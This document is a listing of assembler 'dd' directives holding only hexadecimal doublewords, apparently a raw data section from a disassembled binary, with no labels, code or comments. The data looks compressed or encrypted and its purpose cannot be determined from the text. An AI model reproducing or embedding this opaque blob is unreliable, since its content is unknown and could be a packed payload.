		dd 71484F3Eh, 6848B48Ch, 0C746BA87h, 9AF1B89h, 0B3C06998h
		dd 5218506Eh, 40110C90h, 11C0022Fh, 8E7CF534h, 3327AFE0h
		dd 0F9597714h, 0EBD90C9Ch, 0C10D3196h, 7907BBD0h, 0D64E207Eh
		dd 9E021E18h, 5C68E921h, 161FDF59h, 9D88008Ch, 0ABA858B1h
		dd 0C0A47300h, 8A9B30Ah, 0DEF200FEh, 3680A35Dh,	1AE405CDh
		dd 3FED7802h, 0E0CB9617h, 19B8646h, 5630AD5Dh, 0D4064D54h
		dd 5E1EB140h, 24009FF9h, 0D2A21F34h, 4F5F0011h,	4491DFD5h
		dd 50071EC1h, 845D94AEh, 0F098B9C0h, 5287001Ah,	2D65F4F3h
		dd 0DF1E033Eh, 77003F6Bh, 0B3B8D8AAh, 4F210010h, 8DFF76B1h
		dd 2000E06Ah, 0E61A4591h, 0EA45A1Bh, 0EEBDDF5Dh, 0A21507E0h
		dd 56797254h, 0EC0FD800h, 0CF4B9465h, 0B34D00D9h, 33136828h
		dd 8E1252C7h, 0FA74h
		dd 8083E7DAh, 0CA90058h, 855D8914h, 8C5477E9h, 0DC3FF4A4h
		dd 0B37C8074h, 5988D4DFh, 1F271E84h, 0CC2AC028h, 0F9ABCF47h
		dd 8E627C38h, 0E1198822h, 8C8364D8h, 0F3499C0h,	0A38466FDh
		dd 9D5EC741h, 7996D878h, 6DCAFB03h, 0C222DFE9h,	0BEB040E3h
		dd 1FADFE94h, 92D6Ah, 3E259315h, 610060C8h, 3BE46B79h
		dd 42F51E9h, 1EE2FC35h,	0FAAC91DAh, 2B78C045h, 166365E0h
		dd 91E7F718h, 0D0960B9Dh, 0DDA7002Ch, 0A405E5CEh, 8B915800h
		dd 1EE707E9h, 95C51E1Fh, 0EA45C361h, 5801DDE0h,	0BD110CBh
		dd 7020AAD2h, 7B373E56h, 1200CCBEh, 2D4F55D4h, 1C000428h
		dd 0EA8BE73Ch, 0E4FE7Ah, 2F60B5DCh, 45DAC346h, 2882FD1Eh
		dd 8F6849h, 58480681h, 4CCF00ACh, 0EFE362E5h, 780A63D0h
		dd 46C6475h, 0EF3170h, 22CC94E5h, 435876A7h, 8847A401h
		dd 0F5D8F682h, 0EA314980h, 1C252948h, 18A9080Eh, 0CD2E00AAh
		dd 826210h, 0A7BAA183h,	9CDBB0F9h, 69C07C7Ch, 0C24D6555h
		dd 2C270796h, 50F4687Fh, 69D7627Eh, 200E7800h, 0F90B4341h
		dd 93630011h, 0B38AD9FFh, 5C009BC3h, 0BEDCEDEBh, 1FCA92Eh
		dd 7EA212D5h, 7A3875C0h, 7DE3DEF0h, 5BAE0FE0h, 809E194Bh
		dd 69BB3578h, 0A600BC0Ch, 93AF16A4h, 0F266DCBh,	0BF466EC2h
		dd 4CF38FA0h, 0C80121D5h, 0FA242E44h, 0A3D8EA26h, 75AB0305h
		dd 0E64BD90Dh, 8EB891A1h, 20F830h, 2C3FB4D0h, 632D06FFh
		dd 417C472Bh, 32AE4900h, 6E755EB2h, 7F4616ABh, 40E11857h
		dd 7C01DB93h, 0D2E78127h, 980986Bh, 2597E363h, 7B0CFC3Ah
		dd 51F26418h, 70C700C8h, 406FBB38h, 16F09A53h, 4EF12200h
		dd 262F7B03h, 783518DBh, 47C6A0D1h, 423E2198h, 66BD036Ah
		dd 9936BAFBh, 3DF0CFADh, 9B81001Ah, 67DB9463h, 6E00DC6Dh
		dd 0D7F621E8h, 24DAC5Fh, 35759E64h, 40D5185Ah, 0A446FB2Eh
		dd 4297690h, 1FE3D434h,	1FB280Ch, 8B8A541Bh, 0F441774Ah
		dd 62155C59h, 88874C3h,	450FBF22h, 0CF658706h, 24868835h
		dd 33B0703Bh, 0DEDD7C1Ch, 0CB8254h, 0A963439Eh,	0F3AA7269h
		dd 5C09A0C3h, 59F897h, 5B98E861h, 86329318h, 0DC789400h
		dd 0FE34503Dh, 0E20490ABh, 64D900B1h, 3ED81FCh,	9F7168FAh
		dd 0C9AB432Eh, 0F6E6C930h, 0C7C13CA1h, 11A08E04h, 2673C01Fh
		dd 0D605478Dh, 0DF145665h, 6E718B80h, 87D5007Ch, 8EA59A17h
		dd 7405AF3Ch, 0D6CEE809h, 0A998CC40h, 1566460h,	0ADA03815h
		dd 70A13DFFh, 0C624F032h, 0AB003C32h, 58CA1030h, 28D30095h
		dd 34E42D3Ah, 3713A7FFh, 2F1DE2FBh, 0C6557540h,	141AEA6h
		dd 94A4C5BDh, 0F8E23DBAh, 30C03290h, 0C6D61F4Ch, 4F160F69h
		dd 63C00E8Eh, 0EFF9B147h, 7D3A9277h, 12AF1804h,	96A920h
		dd 759524F0h, 0AEC25DCAh, 0A4B4FA00h, 92B68A7Bh, 4B00083h
		dd 0F2D009C5h, 4B00345Eh, 0F1B86E8Eh, 0FA70552h, 0BD8A4116h
		dd 4986A84Eh, 0E7030B2h, 0F86DA100h, 110C385Bh,	0A0190C16h
		dd 9620B18Eh, 28EA4205h, 80AB2B2Ah, 0B79A4FEBh,	2C011574h
		dd 26DA21Ah, 0B0BD6C10h, 8F47208Ch, 807F3029h, 4B1CA41Ch
		dd 347CE540h, 94A001h, 2B0E9DF2h, 0CC286224h, 30846C54h
		dd 7A51FB00h, 8409AC1Ch, 327F009Ch, 12BE915h, 0CE0F388Fh
		dd 2C43AB8Dh, 1E1FA0CDh, 40D10DAFh, 3295D97Ch, 7742150h
		dd 88A74A30h, 16E1F798h, 6CCD44h, 56B450F3h, 7D0124D2h
		dd 0E3DBBF03h, 74E8A490h, 79C000FBh, 523D4594h,	0CD1CA3C2h
		dd 0A8807326h, 0FB2947F4h, 0CB270962h, 4380250Eh, 0E6249F7Fh
		dd 0AB2A121Bh, 0C90598F9h, 1C2C034Bh, 1E83289Ch, 0FD98E814h
		dd 99EB009Ch, 5085A143h, 0D43050FEh, 0ABC50318h, 5D157D9h
		dd 223D93Bh, 0FE998795h, 7D531031h, 946E680h, 567BF4B4h
		dd 4059B600h, 140C73FFh, 501F4D19h, 94ED53C0h, 0C8A50477h
		dd 3494818Ch, 0F6712803h, 1AE898E1h, 5AF300ECh,	0D9638146h
		dd 0D200C0BDh, 3DA0698Dh, 19BE27CCh, 68C84B39h,	6446E6A1h
		dd 0C0F18602h, 1836E1BFh, 50811FBAh, 1C5962DCh,	0C0FC5B24h
		dd 0F5E36431h, 703B134Ch, 5E9580A0h, 26DE9796h,	7D160019h
		dd 5212389Ah, 0E006768Ch, 7E8B143Eh, 8DDB1638h,	302F0D9Fh
		dd 0D9E46010h, 73A0AF5Eh, 532D00E7h, 40C11525h,	5809E399h
		dd 0F6B321h, 0AF640601h, 940E002Ah, 81BBCF5Eh, 3717A8Bh
		dd 8490C806h, 135858CEh, 0E2C510h, 167AD4DDh, 7E008957h
		dd 632CE1FDh, 0E82A1D73h, 0C11A0C12h, 39686A28h, 7FB103Eh
		dd 860DE9FDh, 3281C377h, 4CD4719Bh, 60B100BCh, 1664F83Fh
		dd 39C022C1h, 0EBD815D0h, 48A600CDh, 7A42FA2Ch,	6263D35Bh
		dd 0E8F2E720h, 0F4F117h, 9FAFE2DEh, 2B513D96h, 0EB3AD600h
		dd 60929A2Dh, 41D70004h, 592EF3A7h, 830002FFh, 93FE169Dh
		dd 828A5Eh, 0C8810F25h,	96CD1F9Bh, 0E8A13800h, 850880FDh
		dd 9A2B001Bh, 301DA8FEh, 7E1C31E4h, 0A804404h, 2FDDE309h
		dd 0F2240A08h, 81E4255Bh, 3DE58158h, 3EA4408Ah,	540F2162h
		dd 7C4E17h, 5584682Eh, 27B60050h, 5144E0BCh, 39038535h
		dd 599AB499h, 0A074DBF7h, 4FF84Ch, 0C421C55Fh, 5358513Ch
		dd 1B87FE00h, 2420ABA9h, 85AD18C1h, 6506789Bh, 58A41556h
		dd 9AD50179h, 0F95CEA9Eh, 9944A451h, 0D73FA007h, 0F7005EAEh
		dd 7F0931D1h, 90EC1Eh, 1B2FBD8Dh, 0DC1FDF91h, 42E37713h
		dd 629E7304h, 0BF783490h, 0E2E00FEBh, 0A8318D6h, 72A31DE1h
		dd 53232103h, 0CB899470h, 76E08806h, 2820E715h,	9F6A00F5h
		dd 0FED350EEh, 1707F173h, 8611674Bh, 3AB8E590h,	0EE5700CFh
		dd 93292E7Ah, 74F86E17h, 0D5F43B00h, 0FB87CC14h, 28B160C7h
		dd 0B6CAAC7Fh, 22D28E00h, 7991C80Eh, 3857612h, 5321EEB4h
		dd 0F1A0EF44h, 0C700F8CFh, 2AEA3C9Fh, 16E82B3h,	1187D1DAh
		dd 8321FA2Bh, 0F388FC40h, 581ED196h, 7310B30h, 5137AF29h
		dd 0DA1406Ah, 8E003660h, 105CB7DFh, 6E06BFh, 0B24C8820h
		dd 2DE4ED9Eh, 580E8100h, 5FC62232h, 51DA1FEAh, 0AC460EE3h
		dd 4988C7A0h, 2107FEE5h, 2E84D5F5h, 6D8F726h, 441136D9h
		dd 0B27E38CBh, 0C194CE81h, 7FAC7837h, 60ED043h,	0B6C0E68Dh
		dd 0E291D746h, 224A3101h, 0F6473324h, 0F89BA850h, 0C0C66017h
		dd 0D5AA6E55h, 30518C1h, 0E500C979h, 0A075F058h, 0D257C604h
		dd 4C0AD307h, 1C21564Ch, 9A00B9C6h, 0A1B170D2h,	0E0F85305h
		dd 0F575B9FEh, 7525C00h, 0C52D1ACBh, 7C6B0018h,	0A8D3EC2Bh
		dd 5700EF5Fh, 99057D9Eh, 0DD04C7h, 21C95FAh, 0FCC5CA1Fh
		dd 0E7007EECh, 8E96510Dh, 9A1BCEh, 2C0660B3h, 6BC3D5B9h
		dd 788AB00h, 0AAF69B11h, 0F0D41D18h, 9E2A0F45h,	6641A700h
		dd 0F00852Fh, 9F88B7DEh, 97A3E7h, 0BF481EF2h, 9C99A88Dh
		dd 2D335A1Eh, 0C0255CCFh, 0D58FA3D8h, 0D0480078h, 5B148591h
		dd 0BB293DB3h, 0DC01045Ah, 969CB482h, 8DA0C5Eh,	0F6003034h
		dd 0F02CF772h, 9F6CC4h,	0E4BEFCE9h, 0EEF8A4EBh,	19CD6630h
		dd 88E50EA0h, 0CE44FABDh, 0F7142274h, 0CF46F511h, 9F06EC10h
		dd 10844250h, 55092115h, 2186A808h, 5C1548C5h, 47561030h
		dd 1362D488h, 5854859Ch, 76641845h, 6C4C0C0Ah, 45757988h
		dd 8A0C4570h, 44300C54h, 0D800B819h, 0B307E714h, 373B416h
		dd 27DDC3D7h, 0DDC587h,	209ABBE0h, 3D071E3Ah, 0D02DAC0Eh
		dd 0F980B8DAh, 530B2988h, 0D7A11C28h, 0FC3095F2h, 4E3C1A00h
		dd 172482B1h, 0BF9CB505h
		dd 77C0B458h, 1309B67Ch, 1FAAAD2Ch, 0C0B55C1Ah,	559E4FC5h
		dd 0F803B7D3h, 26B8DCE3h, 0EB70A0E4h, 7792000Dh, 0FE862B2Fh
		dd 0E077AF9h, 0F6A2649Dh, 4C209BE5h, 3C82FAB4h,	0A800081Ah
		dd 52234879h, 8414D6ADh, 841ED2h, 5CF81719h, 12852754h
		dd 0F2EED73h, 0EAA0C2DCh, 804F3821h, 9DB53038h,	0D14060DEh
		dd 0B39F2E08h, 1ECD2B07h, 1F3C881Ch, 92BC78h, 8268290Ah
		dd 0F3E8150Dh, 0B9CCB80Fh, 6C456270h, 0C0BC03h,	0E28407Ah
		dd 9F3F3430h, 8B82B703h, 0C7B9C4h, 35DCEF29h, 9D63730h
		dd 0B83F3FE8h, 209E805Eh, 0A802CED8h, 98CA2BA0h, 59BC005Ch
		dd 101E552Ah, 49226000h, 2D4F94FFh, 9F580003h, 0C0BDDF1h
		dd 4207830Ah, 7E07EB1Bh, 0A0A9A40Fh, 6DB9B480h,	0C09036h
		dd 475D3E71h, 9EEBB5C4h, 0B3299F05h, 95C15814h,	29805B83h
		dd 8124E12Dh, 0E8065D9Dh, 0B357949Eh, 43C610B0h, 23B0E8D7h
		dd 5451547Ah, 0EF034C4Eh, 65482AA9h, 0AC221698h, 89B22C3Dh
		dd 92F405h, 82D3BD30h, 48D77F64h, 8E09385Ch, 3C00B4BEh
		dd 848F7965h, 0CD4EF138h, 0B8BD0058h, 0CD28ED72h, 5360041h
		dd 9ED02A48h, 833BD652h, 82744956h, 17781481h, 7E18B687h
		dd 0C2B944C0h, 0C9410196h, 0F3053AB5h, 33D08439h, 0CC81DC5Bh
		dd 640715E0h, 494D081h,	1B780D74h, 0B4018B18h, 19FBA20h
		dd 274E84F4h, 4B9C80D2h, 3AB0A0ACh, 9089007Ch, 0C41C5F12h
		dd 26483E47h, 0D84AA194h, 0DE87D422h, 7F5435F2h, 89FB1544h
		dd 76007ECCh, 0EB31FDCCh, 91272253h, 60214334h,	0B3FB7490h
		dd 1F82FF12h, 0E6570C00h, 4806EB3Dh, 5BEDE810h,	0A1D103DCh
		dd 0E8D59ADCh, 58D6C2Eh, 0C1A9B83Bh, 2A8428A3h,	9F017702h
		dd 80B5D0DCh, 8E8FA0A0h, 12B63CAFh, 6019EE7Dh, 64DBA87Fh
		dd 6C008999h, 0FECC1794h, 3E31BF59h, 3809805Ch,	422BC12h
		dd 0CC615FA7h, 0FB06C815h, 0C9800D07h, 26E3D1DDh, 0D020F565h
		dd 0B89FED96h, 92F7D5Eh, 0AC2158B2h, 21C06415h,	4D745898h
		dd 0A400089Ch, 234A6A2Ch, 9B007132h, 82EBFC07h,	20DEFD8h
		dd 0D3E87BA7h, 0C45F47Fh, 0C4F4CD79h, 262E0481h, 886A7527h
		dd 0FEA6804h, 1E28EC01h, 0A16BC9FFh, 60FC95DAh,	0E2B0BA8Fh
		dd 0D6D35802h, 0A018A834h, 5E5AB1F4h, 52FE1450h, 0B1E08021h
		dd 0D22CDBE6h, 16F42828h, 3D2AE312h, 0AA9010E8h, 65008103h
		dd 6C2743D7h, 14F89736h, 80BDAA6h, 0DB3391Eh, 0E0400CF4h
		dd 0EDF0B4AAh, 711F51DEh, 5C389406h, 65490411h,	5019199h
		dd 1C91BE9Eh, 0FC609FDDh, 40640B9Ch, 50A42F76h,	0ED408116h
		dd 48820827h, 6E187FFEh, 0EB4D0BEh, 9E038171h, 0EE753529h
		dd 48D801FDh, 0CDE67133h, 869C53AEh, 94E283D8h,	148440E1h
		dd 40C0F33Bh, 7833A38Dh, 6D3012BCh, 0B7000EB5h,	86B93D68h
		dd 6610B9CDh, 0DCF638h,	3B19589Ch, 0B06527BFh, 3056C401h
		dd 0AB334785h, 0E404C075h, 9F17C1AEh, 0C3B0520Ah, 591F904Eh
		dd 5BC25C1Fh, 809316E2h, 7C9F4C9Ch, 8B5400F3h, 0F1AA393Fh
		dd 0A00D5BDh, 0DF4FDDF5h, 0C0685DCFh, 0D225A78Eh, 30713CCh
		dd 58E54E89h, 0B50A7190h, 620C008Ch, 1E6B4F07h,	8E00F28Fh
		dd 18E95CC8h, 737436Dh,	70471B75h, 7349874Dh, 2CD82BBFh
		dd 2407EC84h, 58A3232Fh, 9AD87450h, 7F79EBh, 3D183033h
		dd 4A404592h, 0AF21DD1Eh, 50B24880h, 986B753h, 0C3A37268h
		dd 0E7513980h, 173EFC18h, 4E92C5Eh, 4F32803Ah, 0B5A48784h
		dd 0B5CF4C23h, 5D4ADB00h, 556C0E7h, 0FBB7CC00h,	2E47AD30h
		dd 0D27840h, 5CAA3A11h,	44603871h, 0BA9A5200h, 0EDA8E2E1h
		dd 7E7CC4h, 0A58109D3h,	3E8F7898h, 7586F700h, 0DDCFDEA7h
		dd 1E977262h, 40CE9917h, 56BC18B4h, 1C00D91Ah, 0B204F1A1h
		dd 0BD782Bh, 25867EE7h,	0D2A1002h, 62489500h, 0AD374C23h
		dd 0A1F30F32h, 61A0E89Eh, 0C7272594h, 1BC9BB18h, 3BA6818h
		dd 0E04C8DDFh, 0A2834BBDh, 0E2E787B0h, 0EDBB1218h, 15C9E70h
		dd 4964E0CDh, 6036A818h, 0AFEC1790h, 0F4E11C00h, 714CA156h
		dd 0A9910CF1h, 94611BBBh, 0B4AE6000h, 0E249ECBCh, 4C7C04E7h
		dd 8097CE42h, 0CBDDF25Eh, 68DC2B30h, 0EEAA4BEh,	484F7462h
		dd 5A083D60h, 57001A6Ah, 0FB8204FDh, 0BFE684h, 773398F1h
		dd 5DC3DC51h, 40C520Fh,	9EB56654h, 211C00F0h, 42DC32D1h
		dd 60C0D8E1h, 0A3537126h, 7F480023h, 14EF85FEh,	524B992Ch
		dd 8248AAA8h, 31B950Ch,	4A71E18h, 7E095287h, 0C8085418h
		dd 0DEB14F6Ch, 0C9082900h, 0DA392044h, 3A2200A5h, 59ACBCADh
		dd 0FEE88904h, 306B6Eh,	0C9218823h, 804B07E3h, 0A15026C8h
		dd 0A3873601h, 0B6453418h, 5F184C2Eh, 94C113Ch,	0DB9DA100h
		dd 877F8046h, 0F49B0FBBh, 0EB8A0A8Ah, 547B840Ch, 133942F1h
		dd 41F72247h, 44F61910h, 43426F45h, 24DE0214h, 30337314h
		dd 44819008h, 0F5D12784h, 0AEA5245h, 8A0C2B18h,	0A3C1128h
		dd 80CD25Fh, 1B4210F9h,	0FD3C8242h, 0A30C820Ch,	5026115Fh
		dd 0F432D760h, 538A24ADh, 4B1548D7h, 0D0A43C18h, 0B42FF60h
		dd 0C7A8D14h, 71E5C300h, 457977B7h, 58B40B00h, 0A87CB3FCh
		dd 398A8872h, 0A008E084h, 843D4718h, 18C00AE8h,	0A0987BC1h
		dd 61F9406Eh, 0CC1849D8h, 0B57C4422h, 6030E76Fh, 0DC8BF239h
		dd 994500C6h, 0D73F89BCh, 470E93D3h, 0A0F89F78h, 58B1F57Dh
		dd 218D03A5h, 0CC0DE07Ah, 29E96A0Fh, 0F20B60D4h, 19B90EAh
		dd 95124588h, 80B6D8ECh, 22F82B36h, 7B76E1Bh, 34CB9B3Ah
		dd 8381C0AEh, 0D707A731h, 50A66F56h, 0CDBCD510h, 0A180EFA2h
		dd 0E3BEB2FAh, 44413148h, 0C0AAF2E0h, 12CACD89h, 9F0152A9h
		dd 92B1C17Bh, 9B30277Fh, 3A760A89h, 561CDD41h, 0DBA3B000h
		dd 902B55FBh, 0E7B1C024h, 0E6B84367h, 0A0BAE226h, 0A0CC5130h
		dd 0B34E038Eh, 8006F2B1h, 9B0C587Fh, 807DAB7Fh,	7EB80063h
		dd 8D6E8FF4h, 8419E311h, 7C583642h, 30BDAFE0h, 0AE50E753h
		dd 911467BBh, 40800630h, 0E862CA14h, 1BB0ED68h,	0A5797F88h
		dd 317CA90Eh, 1B60C016h, 3BD8A1DDh, 0D3964589h,	0F19BC03h
		dd 0C2688DA7h, 0C3690EA6h, 0F8AB98EFh, 5EC90379h, 6325D371h
		dd 0D467B814h, 0BDD61DE0h, 800FA92h, 19BF0282h,	629E00A7h
		dd 0DC0DF12Ah, 5F00153Dh, 8CDE6745h, 7625887Dh,	0B99131AAh
		dd 41AF7B80h, 88A2B068h, 7009CF80h, 0B21D3524h,	53443C2Ch
		dd 86FE869Fh, 0C31E965Ah, 913A998h, 431C6E01h, 98878CFAh
		dd 822F5FCCh, 0A082DFB2h, 6048D6D4h, 0D60EA06h,	0F722C9A1h
		dd 0E9B502A9h, 0D731DD78h, 0A449700h, 5E350E57h, 9CA0237Eh
		dd 0BD46DD88h, 865F21CFh, 0E10448Fh, 1C93FB15h,	70B05E80h
		dd 31C5632Bh, 847306C9h, 78C4D04Ah, 6F3D30A0h, 0B2C51790h
		dd 25304402h, 4B0FD3BEh, 78CBF048h, 46AF249Bh, 30DA92BCh
		dd 0B6C9777Ch, 58B07B03h, 88A50966h, 12874B69h,	1366B03h
		dd 0A3BDA6A0h, 48885144h, 7048207Ch, 9AB22701h,	9E39EBB0h
		dd 0C9C820h, 4A7915F5h,	7D34F79Bh, 0A8FD9828h, 0E36E6604h
		dd 5BC68DBEh, 0EA11071Ah, 0C74184A1h, 1575E0ABh, 1D74B61Ah
		dd 0F9AE2A01h, 8EDB4333h, 7E0A1024h, 0E53B003Ah, 58E2D164h
		dd 0FC00E463h, 0F5566AF9h, 7CCC34h, 0AB03383Eh,	1DB2A525h
		dd 0A1C33Fh, 0B723AC52h, 0E0229Ch, 0C177012Bh, 99ED3387h
		dd 4A000DEEh, 2E7E5542h, 9848B9h, 979C312Fh, 0A6F2C825h
		dd 72093F00h, 6AFA075Ch
		dd 0AAD8054Eh, 70C175AFh, 6EFFCC30h, 0F4AB0085h, 7E762E7Ch
		dd 312DD300h, 30BD19CCh, 11B600D9h, 93384FC3h, 0CF1C09BFh
		dd 0DF40AD15h, 9BB56F3Bh, 0CDC633D2h, 0C4A83140h, 98488D20h
		dd 83320729h, 79213E09h, 709DF2E3h, 0F32000B9h,	936C10F8h
		dd 85BA2339h, 430ECBE5h, 0B7A99401h, 51807792h,	0D6700CCDh
		dd 82146BA3h, 4A0A410h,	8EB44761h, 0B2051440h, 9C0E5ED7h
		dd 0E0A9F1A0h, 0B186129Bh, 6D0C0357h, 97528A19h, 875F6FAFh
		dd 96B44F5Eh, 0A3CB8CBh, 0A0FF3079h, 6E1F9428h,	1DF9D4h
		dd 0B2FB1838h, 78DD300Eh, 52F85FC7h, 0CE0928A0h, 6A343E29h
		dd 2248D0h, 43D85D16h, 0C5954CBh, 7DAD9D00h, 671730D1h
		dd 63663F83h, 0CC2C0DBCh, 3E8200B5h, 0B90A1D23h, 0C34FBB00h
		dd 7D0C5438h, 1ACA4CCh,	28B34532h, 0C4E70FD2h, 5E0AACB9h
		dd 0EC234EBAh, 0DF33A906h, 16491831h, 72616032h, 0B07E1530h
		dd 6CDE9C6Ch, 0BB8E93Bh, 0CA942F00h, 3A1A09BEh,	0F8AB6086h
		dd 29130AD8h, 24A7334Ch, 0F502082Bh, 0AC99C9h, 365191F0h
		dd 0FBF03A60h, 6BC08A5h, 79A7610Eh, 8122312Eh, 30C37A9Ah
		dd 0E668C98Eh, 0A1284B5Fh, 34A0A8ABh, 0B588323Ah, 404C1D54h
		dd 0F2D08634h, 5907D141h, 436A1407h, 6B6EBBD0h,	2FA930A6h
		dd 0EBD97468h, 51A79337h, 0C3A3B183h, 8204494h,	12C4337h
		dd 93CD464h, 0D6E42D6Bh, 8A660ACh, 0AF5BD844h, 0C87D0A31h
		dd 0DBD842ECh, 55673D28h, 0F67AC980h, 0D2774CF8h, 0A3E1D300h
		dd 3B512903h, 0A9747E8Fh, 457CCD8h, 9580FBC0h, 19366047h
		dd 0F35F7A1Fh, 0E9A04550h, 2715B014h, 0EC502E4h, 0A0044C6Ah
		dd 0DDB17DE0h, 4A9E00A3h, 1E84462Ch, 0E8A05DAEh, 0F47ECCACh
		dd 0B5FDA003h, 0A0444AE5h, 1211D076h, 280AC91Ah, 0ED2AD320h
		dd 7824C89Dh, 728504A4h, 0C820A68Ah, 74985FE5h,	40B60243h
		dd 85B428ACh, 0CA50C48h, 0CC66632Ah, 0D403497Fh, 0EFAFFF4Eh
		dd 2451138Ch, 0A564004Ah, 20A0EC2Ch, 11FD8A37h,	32D017C0h
		dd 64CB026Bh, 295681DAh, 2B4830A1h, 93B0957Eh, 47210048h
		dd 6BD3BD2Dh, 0AE75089Eh, 900D998h, 6F28702Ah, 987B5035h
		dd 0D04C1939h, 48B9F92Fh, 2A008F80h, 9E015344h,	4CC89D11h
		dd 7F07127Ah, 0C44D686Ch, 7C1890A5h, 620009F7h,	6141E3CFh
		dd 0CB41Bh, 7D0D74BFh, 0B3A53110h, 654F300h, 0A860C52Ah
		dd 0D33509FBh, 2881891Ch, 81F90EC3h, 73058878h,	9020DEECh
		dd 64BE05ACh, 0C0D8C857h, 0EF5E26A6h, 1833F200h, 9513E985h
		dd 11980350h, 7C37C5D9h, 0A18384F8h, 0FD77FE00h, 57F7DB09h
		dd 2190048h, 0EAC75930h, 0E2F40E43h, 0A6D36700h, 7C23BA95h
		dd 1C94003Ah, 995F25D6h, 0EA036CAAh, 14F52D92h,	0B7E5C070h
		dd 8D745Dh, 0EFF40952h,	3A7FAEE2h, 7DDF7100h, 8F6A0AACh
		dd 0F9CD0176h, 0CFF22757h, 68D1F813h, 71009170h, 17D5846Fh
		dd 4549B8h, 66A4359Fh, 16399C5Fh, 0EEB17500h, 8E0B3640h
		dd 32741Ch, 3C9322DEh, 0A1D495D9h, 4A75141Fh, 2C946B81h
		dd 1C60C94Fh, 25191D4Bh, 0BDBE800Ch, 9C7BDDE1h,	1F7FCB00h
		dd 0B9A5C52h, 0DB5A0026h, 0E7BC33D1h, 0B47AFD08h, 3B492002h
		dd 0FF6860B8h, 1F8997E0h, 5CB1C600h, 914E1A8Dh,	0A8AF50E7h
		dd 0A5C7007Fh, 0E111D885h, 0A470866Bh, 7E3FD00h, 4E2776B3h
		dd 623B009Fh, 9372987Fh, 0A600942Dh, 0F7FE560Ch, 4091A2h
		dd 4131BE37h, 92A5814Eh, 88D66300h, 76DC7B54h, 5FFAFCh
		dd 0E3F8A682h, 601F7269h, 0CA0210C5h, 80FAB909h, 5EE5F26Eh
		dd 0B7D90067h, 393F4D8h, 0A60085B1h, 0D0B9AA65h, 5310F3h
		dd 96215CC3h, 13EC95A9h, 0ACFCE105h, 64901E0Ch,	94361Ah
		dd 3CCCE779h, 724DF9E6h, 0C690C31Ch, 18EC7C2h, 2DB8E083h
		dd 462A069Ch, 4A1D5C3Eh, 0B5B48F00h, 0C88263A9h, 6BB0A027h
		dd 64A50E32h, 56A08168h, 423A0686h, 690D6500h, 0CDA3DE7Fh
		dd 9D3C00F5h, 0AF64EC94h, 0E1FAEF6h, 6E024291h,	0C097B393h
		dd 0CA5F94h, 5E17FE96h,	863B12C6h, 1BE18700h, 0A637206Ah
		dd 49D50B2Ch, 4500AB68h, 41A47147h, 0D1570D00h,	50B348CAh
		dd 0FCAD3DDDh, 2D80C93Ah, 7C527B1Dh, 2E074C91h,	13740C69h
		dd 1FEC1140h, 348D00EBh, 58932802h, 3003954h, 5677250Eh
		dd 0A6FBE2h, 4D9D7C53h,	5409A28Fh, 0CB27B90Fh, 186CA0F6h
		dd 3810C6D4h, 0FF1CF9E5h, 6F58400Ah, 89F18E8Fh,	9EB8BC00h
		dd 0DC4BD3DEh, 13870EE4h, 0A540F807h, 113E32FAh, 81B4643Bh
		dd 562BF002h, 0C1C05B6Eh, 87CF07D9h, 9014EA9Fh,	1CC5AE1Ah
		dd 0B0347B05h, 5490C2B8h, 0D6EFEDh, 0AFE9619Dh,	1B29DF02h
		dd 4BACCE00h, 0C1E542F7h, 0E6720390h, 0B1C0313Ch, 9166DFC0h
		dd 8B078CECh, 0C73BA7A9h, 2B039460h, 0ECC950D1h, 0D0BD07F0h
		dd 0F0AEF70Eh, 8917A3E8h, 4AD42001h, 390F63F3h,	0FC7EC07Bh
		dd 0DA65382Bh, 80BACD11h, 4478E84Dh, 0EB94180Fh, 0B363E0EDh
		dd 0C3E7B7h, 0DC0DD4EAh, 96157C2Dh, 2507580Bh, 0BE29086Fh
		dd 48CEC801h, 0A520BA53h, 5A2C0E2Ah, 3840A1BBh,	11C58431h
		dd 3DAA3019h, 82C4DF70h, 43453CFCh, 0A1A7BE80h,	8FF5DCE2h
		dd 7A9AB200h, 685B676Eh, 0E95E00E7h, 962C4309h,	0F7121BBAh
		dd 0C0018B6h, 31E2B9FEh, 0E84601DBh, 0C8790787h, 0F5C7FC5Ah
		dd 0E6EB9600h, 0AA5299BBh, 0D22C0174h, 0A939D925h, 0E0D1D01Eh
		dd 306103Ah, 917BDF04h,	7DC9E075h, 827700F5h, 0AAF20964h
		dd 153C96A9h, 6848FEh, 5EB35A63h, 1E66D8FAh, 4CB44944h
		dd 1910F9D1h, 7C0E807Eh, 0C90AE4F8h, 6A1A8003h,	0B0C16B5Bh
		dd 0A78F0E84h, 0DC67DF7Fh, 0A315E012h, 4F00AE7Ch, 574CE46Ah
		dd 67241Ah, 0B073B210h,	8DE7A2FDh, 0D4503D00h, 60812904h
		dd 57E60025h, 8C222FA8h, 1EB0FF5Ch, 5D0D1500h, 0EE6F8B7Ah
		dd 74CB0056h, 2043C1E9h, 8EE6A6ECh, 3372900h, 501C8D1Ah
		dd 484C007Fh, 0D9EC98AAh, 9100AEA9h, 0FB6EEF52h, 796EDDEh
		dd 87628D9Bh, 459F806Ah, 0AE00D2B3h, 51FC9122h,	0A27C77h
		dd 0A96D5A7Ah, 0D3063E92h, 0DF33FEA1h, 0D6097BE0h, 80262A3Ah
		dd 7660C1C3h, 262EBD0Fh, 5A85CDh, 0EF83C28Dh, 0A60007F9h
		dd 0FED3FA56h, 47D1F2h,	1988538Ah, 667AAC4h, 4AA2B300h
		dd 3117D49h, 0D3800086h, 0DFCE3DEFh, 0C100AC60h, 1593F90Dh
		dd 57B169h, 0B8F1EC17h,	0F8BDB7BAh, 3F8E4200h, 9AB7C87h
		dd 630D0039h, 69062F2Dh, 0AF071E22h, 2EDB30B1h,	794B0200h
		dd 13F2004Ch, 0F64304D0h, 0F500727Dh, 73786EA2h, 0D298BBh
		dd 3DFD86F2h, 0CA664F8Fh, 13B9EB00h, 238C1DEh, 87175CC4h
		dd 0B2FA6B00h, 34C95C59h, 4C2F9700h, 29C3DAD1h,	4CB8E0h
		dd 7F8F0D72h, 0DE7946B8h, 89D068C0h, 5913F7h, 60A4F0EDh
		dd 0D9A16393h, 0D762F300h, 0EE270905h, 40FEFBD1h, 0A39B6Ah
		dd 0F8645D0Ch, 923B73DBh, 3D00D6FAh, 0E6E55B05h, 7A6884h
		dd 315D96FDh, 5C132206h, 0E166DD00h, 0E4B4345Eh, 2F330063h
		dd 1B0BD90h, 0FA7AD5ADh, 4C511C00h, 412099ECh, 2DD6008Eh
		dd 0C1BBEDDBh, 6407E089h, 1323B80Ch, 0F8D35B83h, 0D69201h
